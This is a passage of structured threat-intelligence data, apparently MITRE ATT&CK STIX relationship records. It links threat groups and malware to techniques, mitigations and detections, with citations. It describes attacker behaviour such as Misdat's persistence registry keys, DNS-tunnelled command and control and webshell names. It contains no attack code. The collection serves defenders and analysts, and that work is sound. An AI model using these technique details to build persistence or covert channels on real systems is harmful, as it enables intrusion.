2022.","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.061Z","description":"(Citation: CrowdStrike Carbon Spider August 2021)(Citation: FBI Flash FIN7 USB)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c63a942-eb05-401b-a49a-39dc05ef1dd9","created":"2022-09-30T19:58:39.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:24:17.887Z","description":"[Misdat](https://attack.mitre.org/software/S0083) has created registry keys for persistence, including `HKCU\\Software\\dnimtsoleht\\StubPath`, `HKCU\\Software\\snimtsOleht\\StubPath`, `HKCU\\Software\\Backtsaleht\\StubPath`, `HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed. Components\\{3bf41072-b2b1-21c8-b5c1-bd56d32fbda7}`, and `HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{3ef41072-a2f1-21c8-c5c1-70c2c3bc7905}`.(Citation: Cylance Dust Storm) ","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c6804dc-e1d5-43f5-97ee-7d827c9d308d","type":"relationship","created":"2020-07-16T15:07:27.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.123Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c68c07e-bb35-416b-83ec-c8c8530eccc9","type":"relationship","created":"2021-10-01T01:57:31.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Black-T October 2020","url":"https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/","description":"Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.882Z","description":"(Citation: Palo Alto Black-T October 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"tool--5a33468d-844d-4b1f-98c9-0e786c556b27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c73f12f-5d20-47f4-8052-d4218d681753","type":"relationship","created":"2021-04-06T15:53:34.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:40.222Z","description":"[Doki](https://attack.mitre.org/software/S0600) has communicated with C2 over HTTPS.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c74284d-dfb7-49c5-85a1-fa8e63de53ad","created":"2024-08-01T22:04:49.250Z","revoked":false,"external_references":[{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:04:49.250Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) collects the `Locale Name` of the infected device via `GetUserDefaultLocaleName` to determine whether the string `ru` is included, but in analyzed samples no action is taken if present.(Citation: S2W Racoon 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c75cda8-5656-4968-8a74-738d1b2b0399","created":"2024-07-02T19:23:04.443Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:23:04.443Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can search its staging directory for output files it has produced.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c7679e8-2be6-4cbb-a7f4-8583162366b3","type":"relationship","created":"2021-08-24T17:04:27.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:28:27.136Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) has targeted victims with spearphishing emails containing malicious attachments.(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c76d662-c861-4660-aeea-1dff463f01e0","created":"2024-09-04T17:13:28.284Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:13:28.284Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can establish command and control via HTTP.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c79076c-341f-4eb3-bed7-300723747b18","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco DNSMessenger March 2017","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html"}],"modified":"2020-03-17T02:11:28.408Z","description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) queries Registry keys in preparation for setting Run keys to achieve persistence.(Citation: Cisco DNSMessenger March 2017)","relationship_type":"uses","source_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c7a7eca-b91a-4974-bcf0-cfb77f105abd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-03-30T16:50:01.453Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2019-10-15T18:00:19.433Z","description":"After downloading its main config file, [Downdelph](https://attack.mitre.org/software/S0134) downloads multiple payloads from C2 servers.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T23:59:44.021Z","description":"[Helminth](https://attack.mitre.org/software/S0170) creates folders to store output from batch scripts prior to sending the information to its C2 server.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c7faf9b-c0ee-419f-b816-777edebd3a2a","type":"relationship","created":"2020-01-23T18:07:00.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:43:01.870Z","description":"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c800f85-0062-40af-9799-fe4a7bcb0526","created":"2024-08-26T18:10:25.422Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:10:25.422Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) relied on users interacting with malicious files, such as a trojanized PuTTY installer, for initial execution.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c89cfe5-1a9f-4b2d-82e2-f1638cb13b58","type":"relationship","created":"2020-05-18T17:31:39.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.395Z","description":"[Maze](https://attack.mitre.org/software/S0449) has communicated to hard-coded IP addresses via HTTP.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c8be5c7-5f72-4c60-aaf7-f1f62eaf91f2","created":"2021-01-07T21:38:44.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:19:01.754Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) infected WinCC machines via a hardcoded database server password.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c8cf20d-b834-4460-a8a8-13d96c19d2ea","type":"relationship","created":"2020-03-17T13:53:21.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"Unit 42 Cobalt Gang Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/","description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."},{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T14:51:42.277Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious links that require users to execute a file or macro to infect the victim machine.(Citation: Talos Cobalt Group July 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c8dee77-e751-40b6-ab99-ccfe6a832e0a","type":"relationship","created":"2021-07-06T22:40:13.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.434Z","description":"On Windows 10, enable cloud-delivered protection and Attack Surface Reduction (ASR) rules to block the execution of files that resemble ransomware. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2019-06-28T14:59:17.851Z","description":"(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c97e0aa-61fd-4f42-881f-763a1b03c16b","type":"relationship","created":"2019-01-31T01:07:58.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.977Z","description":"(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c98640e-0307-48bb-aafc-af14a774fd5b","type":"relationship","created":"2019-03-11T19:24:08.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.546Z","description":"[Empire](https://attack.mitre.org/software/S0363) has the ability to collect emails on a target system.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c993360-3ad2-46f7-8866-060c99eeddc8","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for newly constructed dylibs","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ca67039-be32-4fed-a40a-5ddfe4d6fff2","created":"2024-06-06T18:51:24.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:09:54.190Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can receive command line arguments to encrypt specific files and directories.(Citation: Cybereason INC Ransomware November 2023)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ca71386-44e2-41e5-aecf-796de464855d","type":"relationship","created":"2019-06-24T19:03:52.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2019-06-24T19:03:52.597Z","description":"[Proton](https://attack.mitre.org/software/S0279) gathers credentials for Google Chrome.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ca80e08-f365-48c6-bb40-24657614b217","created":"2023-08-03T20:03:22.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T20:22:52.987Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used webshells, including ones named AuditReport.jspx and iisstart.aspx, in compromised environments.(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9caad98b-05ae-4aa2-87cd-387ae2e16c9d","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access configuration 